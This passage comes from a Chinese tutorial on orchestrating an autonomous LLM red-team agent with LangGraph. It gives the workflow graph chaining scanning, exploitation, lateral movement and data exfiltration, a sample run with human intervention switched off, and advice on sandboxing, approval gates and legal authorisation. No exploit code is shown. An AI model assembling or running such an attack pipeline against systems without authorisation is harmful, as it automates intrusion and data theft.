4. 最终输出： 生成完整的渗透测试报告。

LangGraph 节点与边定义

def generate_final_report(state: AgentState):
    """
    整合所有信息，生成最终的渗透测试报告。
    """
    print("n--- Phase: Report Generation ---")
    messages = state.get("messages", [])

    # 将 AgentState 转换为 LLM 可以理解的报告摘要
    findings_summary = {
        "target_scope": state.get("target_scope"),
        "recon_data": state.get("recon_data"),
        "vulnerabilities": state.get("vulnerabilities"),
        "exploits_attempted": state.get("exploits_attempted"),
        "access_gained": state.get("access_gained"),
        "lateral_movement_data": state.get("lateral_movement_data"),
        "exfiltrated_data": state.get("exfiltrated_data"),
    }

    # 调用报告生成工具
    report_content = report_findings.invoke(findings_summary)
    messages.append(AIMessage(content="Called report_findings tool."))
    messages.append(ToolMessage(content=report_content, tool_call_id="report_findings_id"))

    # LLM 可以进一步润色报告
    llm_prompt_refine = HumanMessage(f"Here is a draft penetration test report:n{report_content}nnPlease review and refine it. Ensure it's professional, clear, and provides actionable recommendations. Add an executive summary and a conclusion.")
    messages.append(llm_prompt_refine)
    final_report = llm.invoke(messages)
    messages.append(final_report)

    print("n--- Final Report Generated ---")
    print(final_report.content)

    return {**state, "report_draft": final_report.content, "messages": messages, "current_task": "报告生成完成"}

6. 构建 LangGraph 工作流

现在，我们将所有节点和决策函数连接起来，构建完整的 LangGraph。

# 构建 LangGraph
workflow = StateGraph(AgentState)

# 添加节点
workflow.add_node("initialize_recon", initialize_recon)
workflow.add_node("perform_nmap_scan", perform_nmap_scan)
workflow.add_node("discover_vulnerabilities", discover_vulnerabilities)
workflow.add_node("select_and_exploit_vulnerability", select_and_exploit_vulnerability)
workflow.add_node("post_exploitation_and_lateral_movement", post_exploitation_and_lateral_movement)
workflow.add_node("data_exfiltration_and_impact", data_exfiltration_and_impact)
workflow.add_node("generate_final_report", generate_final_report)

# 设置入口点
workflow.set_entry_point("initialize_recon")

# 添加边
workflow.add_edge("initialize_recon", "perform_nmap_scan")
workflow.add_edge("perform_nmap_scan", "discover_vulnerabilities")

# 侦察后的决策
workflow.add_conditional_edges(
    "discover_vulnerabilities",
    decide_next_step_after_recon,
    {
        "penetrate": "select_and_exploit_vulnerability",
        "report": "generate_final_report",
    },
)

# 渗透后的决策
workflow.add_conditional_edges(
    "select_and_exploit_vulnerability",
    decide_after_penetration,
    {
        "lateral_movement": "post_exploitation_and_lateral_movement",
        "report": "generate_final_report",
    },
)

# 横向移动后的决策
workflow.add_conditional_edges(
    "post_exploitation_and_lateral_movement",
    decide_after_lateral_movement,
    {
        "recon_new_target": "perform_nmap_scan", # Loop back to recon for new targets
        "data_exfiltration": "data_exfiltration_and_impact",
    },
)

# 数据窃取后的决策
workflow.add_edge("data_exfiltration_and_impact", "generate_final_report")

# 编译图
app = workflow.compile()

# 运行 Agent
initial_state = {
    "target_scope": ["192.168.1.100", "example.com"],
    "recon_data": {},
    "vulnerabilities": [],
    "exploits_attempted": [],
    "access_gained": [],
    "lateral_movement_data": {},
    "exfiltrated_data": [],
    "report_draft": None,
    "messages": [HumanMessage(content="Start red team operation on specified targets.")],
    "current_task": "Starting",
    "human_intervention_required": False
}

# for s in app.stream(initial_state):
#     if "__end__" not in s:
#         print(s)
#         print("---")

# 为了更清晰地看到最终结果，直接运行到结束
final_state = app.invoke(initial_state)

print("nn=== Red Team Agent Operation Completed ===")
print("Final Report Snippet:")
print(final_state.get("report_draft", "No report generated.").split('###')[0]) # Print executive summary

# 可以保存完整的报告
with open("red_team_report.md", "w", encoding="utf-8") as f:
    f.write(final_state.get("report_draft", "No report generated."))
print("nFull report saved to red_team_report.md")

LangGraph 工作流可视化 (概念图)

虽然不能插入图片，我们可以用表格描述 LangGraph 的大致结构和流程：

阶段/节点	输入状态	输出状态	决策/转换条件	下一步节点
initialize_recon (初始化)	target_scope	current_task	无	perform_nmap_scan
perform_nmap_scan (Nmap扫描)	target_scope, messages	recon_data, messages	无	discover_vulnerabilities
discover_vulnerabilities (漏洞发现)	recon_data, messages	vulnerabilities, messages	decide_next_step_after_recon	select_and_exploit_vulnerability / generate_final_report
select_and_exploit_vulnerability (初始渗透)	vulnerabilities, messages	exploits_attempted, access_gained, messages	decide_after_penetration	post_exploitation_and_lateral_movement / generate_final_report
post_exploitation_and_lateral_movement (横向移动)	access_gained, messages	lateral_movement_data, messages	decide_after_lateral_movement	perform_nmap_scan / data_exfiltration_and_impact
data_exfiltration_and_impact (数据窃取)	access_gained, messages	exfiltrated_data, messages	无	generate_final_report
generate_final_report (报告生成)	target_scope, recon_data, vulnerabilities, access_gained, …	report_draft, messages	无	END

架构考量与最佳实践

构建如此复杂的 Agent 并非易事，需要考虑诸多方面：

• 工具封装与沙箱化： 实际的安全工具（Nmap, Metasploit, Mimikatz）通常需要特定的环境和权限。将它们封装成独立的、可调用的函数是第一步。更重要的是，这些工具的执行必须在严格沙箱化的环境中进行，以防止意外破坏目标系统或对 Agent 自身造成危害。Docker 容器、虚拟机或隔离的云环境是理想选择。
• 输入验证与安全： Agent 接收的任何输入，无论是初始目标还是 LLM 生成的命令，都必须经过严格的验证和清理。防止命令注入和其他安全漏洞至关重要。
• 人类介入点 (Human-in-the-Loop)： 在高风险操作（如实际利用漏洞、执行破坏性命令）之前，Agent 应该暂停并请求人类批准。LangGraph 的 interrupt 机制可以很好地支持这一点。
• 可观测性与日志： 详细的日志记录是必不可少的，包括 Agent 的决策过程、调用的工具、工具的输入和输出，以及状态的变化。这对于审计、调试和理解 Agent 行为至关重要。LangGraph 提供了良好的追踪能力。
• LLM 提示工程： LLM 的性能高度依赖于提示的质量。为每个决策节点设计清晰、具体的提示，引导 LLM 给出有效和安全的建议。例如，要求 LLM 在推荐命令时，同时考虑潜在的风险。
• 错误处理与恢复： 攻击过程中可能会遇到各种错误（网络问题、工具失败、权限不足）。Agent 应该有健壮的错误处理机制，能够回滚、重试或选择替代路径。
• 知识库集成： LLM 的知识是有限的。通过集成一个外部知识库（如 CVE 数据库、攻击框架如 MITRE ATT&CK、内部渗透测试手册），可以显著增强 Agent 的决策能力。
• 伦理与法律： 自动化红队测试必须严格遵守伦理规范和法律法规。确保所有测试都在明确授权的范围内进行，并对潜在的负面影响有充分的评估和控制。

挑战与未来展望

尽管 LangGraph 为构建智能红队 Agent 带来了巨大的潜力，但我们仍面临诸多挑战：

• 真实世界的复杂性： 实际网络环境的复杂性远超模拟。Agent 需要处理各种意外情况、绕过复杂的防御机制（如 EDR、WAF）以及适应不断变化的目标。
• LLM 的局限性： LLM 可能会产生“幻觉”，生成不正确或不安全的命令。如何确保 LLM 建议的准确性和安全性是一个持续的研究方向。
• 对抗性 AI： 防御方也在利用 AI 强化其防御。未来的红队 Agent 需要具备对抗性学习能力，以应对智能化的防御系统。
• 自主学习与进化： 理想的 Agent 应该能够从每次渗透测试中学习，积累经验，优化其攻击策略和决策模型，实现自我进化。

总的来说，利用 LangGraph 编排的智能红队 Agent 代表了网络安全领域的一个激动人心的方向。它将 LLM 的智能推理能力与结构化的工作流控制相结合，为我们提供了一个前所未有的工具，能够以更高效、更全面、更智能的方式模拟真实世界的网络攻击。通过持续的迭代和优化，我们有理由相信，这样的 Agent 将在提升企业安全韧性方面发挥越来越重要的作用。